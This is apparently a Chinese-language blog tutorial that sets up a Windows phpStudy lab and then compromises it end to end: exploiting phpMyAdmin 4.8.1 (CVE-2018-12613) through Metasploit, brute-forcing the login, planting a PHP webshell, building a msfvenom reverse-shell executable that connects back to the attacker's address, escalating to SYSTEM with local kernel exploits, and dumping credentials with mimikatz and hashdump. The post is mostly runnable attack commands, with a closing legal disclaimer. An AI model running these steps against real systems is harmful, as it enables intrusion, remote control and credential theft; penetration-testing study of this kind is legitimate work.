利用Metasploit Framework提权

一、快速搭建有限制的测试环境

首先在虚拟机新建一个用户
net user abc 123456.abc /add

使用phpstudy,运行模式切换成系统服务

打开服务,找到Apache2a,先停止,右击属性,登录,此账户,添加个刚刚创建的用户

找到Apache的日志的文件夹,右击属性,安全添加账户,给完成控制权限

接着服务那边就可以开启,phpstudy重启,mysql同理

在www目录搭建phpMyAdmin-4.8.1,这边修改成,666

在物理机访问192.168.2.168/666


二、通过phpMyAdmin的文件包含漏洞拿到Webshell

phpMyAdmin远程文件包含漏洞

漏洞介绍:
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。

漏洞描述:
在phpMyAdmin 4.8.x版本中,程序没有严格控制用户的输入,攻击者可以利用双重编码绕过程序的白名单限制,造成文件包含漏洞。

受影响的系统版本:
phpMyAdmin 4.8.0
phpMyAdmin 4.8.1

漏洞编号:CVE-2018-12613

打开kali,启动MSF来爆破用户名和密码
root@kali:~# msfconsole

搜索下phpmyadmin这个模块
msf5 > search phpmyadmin

使用第一个辅助模块,options查看下需要设置什么
msf5 > use 1
msf5 auxiliary(scanner/http/phpmyadmin_login) > options

发现目标地址是空的,远程端口默认80,如果不是默认就需要修改,SSL是https协议的话就需要修改成true

目标地址默认是index.php,但这边的是666需要修改,线程为1,用户默认root,如果不是就需要用字典来爆破

接下来设置目标地址,目标地址URL,字典
msf5 auxiliary(scanner/http/phpmyadmin_login) > set rhosts 192.168.2.168
msf5 auxiliary(scanner/http/phpmyadmin_login) > set targeturi /666/
msf5 auxiliary(scanner/http/phpmyadmin_login) > set userpass_file small.txt

msf5 auxiliary(scanner/http/phpmyadmin_login) > run
MSF爆破的话是会出错的,所以建议burp爆破

接下来使用攻击模块,lfi_rce从本地文件包含到远程命令执行
msf5 auxiliary(scanner/http/phpmyadmin_login) > use 3
msf5 exploit(multi/http/phpmyadmin_lfi_rce) >

设置payload
反向连接tcp,使用meterpreter,options看下需要设置什么
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > show payloads
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > set payload php/meterpreter/reverse_tcp
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > options

发现需要设置目标地址,目标地址URL,密码,本地地址

msf5 exploit(multi/http/phpmyadmin_lfi_rce) > set password root
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > set rhosts 192.168.2.168
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > set targeturi /666/
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > set lhost 192.168.2.250

开始攻击
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > run

看下权限
meterpreter > getuid

meterpreter > shell
whoami,无法执行,权限不够


三、权限提升

使用exp提权补丁进行权限提升,从用户权限到管理员权限

可以写一个木马放进去,再通过webshell管理工具连接
看下当前路径
meterpreter > getwd
meterpreter > edit 1.php

查看下有没有写进去
meterpreter > ls

http://192.168.2.168/666/1.php?6=phpinfo();

打开中国蚁剑连接http://192.168.2.168/666/1.php

找到刚刚上传的木马,1.php,在此处打开终端

查看补丁编号
C:\phpStudy\WWW\666> systeminfo
[01]: KB0000000
[02]: KB0000000

在线比对补丁查找exp:https://bugs.hacking8.com/tiquan/
把补丁拖进去,改名为abc.exe

C:\phpStudy\WWW\666> abc.exe "whoami"


四、MSF提权

使用MSF后渗透测试脚本提权

让目标连接本地,用msfvenom生成一个exe的木马
root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.2.250 lport=1234 -f exe > shell.exe

生成成功后上传到目标服务器去
meterpreter > upload shell.exe

查看下有没有在服务器
meterpreter >ls,rwx可读可写权限

利用之前的webshell上传,开启监听 ,等待目标机器去连接我们自己
新开一个MSF,为了接收到之前上传的shell.exe传过来的数据
新msf5 > use exploit/multi/handler,开启监听
新msf5 > set payload windows/x64/meterpreter/reverse_tcp,设置payload

新msf5 exploit(multi/handler) > options,查看需要设置什么

需要设置刚刚用msfvenom生成一个exe的木马的本地地址和端口
新msf5 exploit(multi/handler) > set lhost 192.168.2.250
新msf5 exploit(multi/handler) > set lport 1234

新msf5 exploit(multi/handler) > run,开启监听,等待木马把这个数据给发送过来

meterpreter > execute -H -f shell.exe,去执行我们的程序,-H 隐藏执行 -f 指定文件

创建了一个3696的进程

meterpreter > ps,权限不够,看不了

新meterpreter > hashdump,权限不够

使用MSF本地提权信息收集模块

新meterpreter > background ,先把会话放后台

新msf5 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester

新msf5 exploit(multi/recon/local_exploit_suggester) > options,看需要设置什么

新msf5 post(multi/recon/local_exploit_suggester) > set session 1,设置会话,通过会话来信息收集
新msf5 post(multi/recon/local_exploit_suggester) > run

发现有4个补丁,需要一个一个尝试
新msf5 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms10_092_schelevator
新msf5 exploit(windows/local/ms10_092_schelevator) > options

新msf5 exploit(windows/local/ms10_092_schelevator) > set session 1,需要设置会话
新msf5 exploit(windows/local/ms10_092_schelevator) > run,发现失败了,尝试第二个

第二三个失败了,尝试第四个
新msf5 exploit(windows/local/ms16_075_reflection) > use exploit/windows/local/ms16_075_reflection_juicy
新msf5 exploit(windows/local/ms16_075_reflection_juicy) > set session 1
新msf5 exploit(windows/local/ms16_075_reflection_juicy) > run

新meterpreter > getuid,看下权限,system权限

新meterpreter > load mimikatz ,加载mimikatz
新meterpreter > kerberos,看下明文,发现不太正常

新meterpreter > ps,查看进程,发现shell.exe进程还在abc中

需要把进程迁移到system下
新meterpreter > migrate 476

新meterpreter > kerberos,成功看到用户凭证


五、Meterpereter常用命令

文件系统命令:

edit -- 编辑文件
getlwd -- 显示本地工作目录
Dir -- 列出目标文件目录
mkdir -- 创建目录

用户界面命令:

getdesktop -- 获取当前的 Meterpreter 桌面
screenshot -- 获取目标桌面屏幕截图

网络、系统命令:

ipconfig – 显示网络接口信息
netstat -- 显示网络连接信息
execute -- 执行命令
ps -- 列出正在运行的进程
sysinfo -- 获取远程系统的有关信息,例如 OS

提权、密码命令:

getsystem -- 尝试将您的权限提升为本地系统的权限
hashdump -- 获取目标 NTLM-HASH 值

  声明:请勿用作违法用途,请在授权情况下使用
posted @ 2021-02-16 20:32  Tkb-  阅读(460)  评论(0编辑  收藏  举报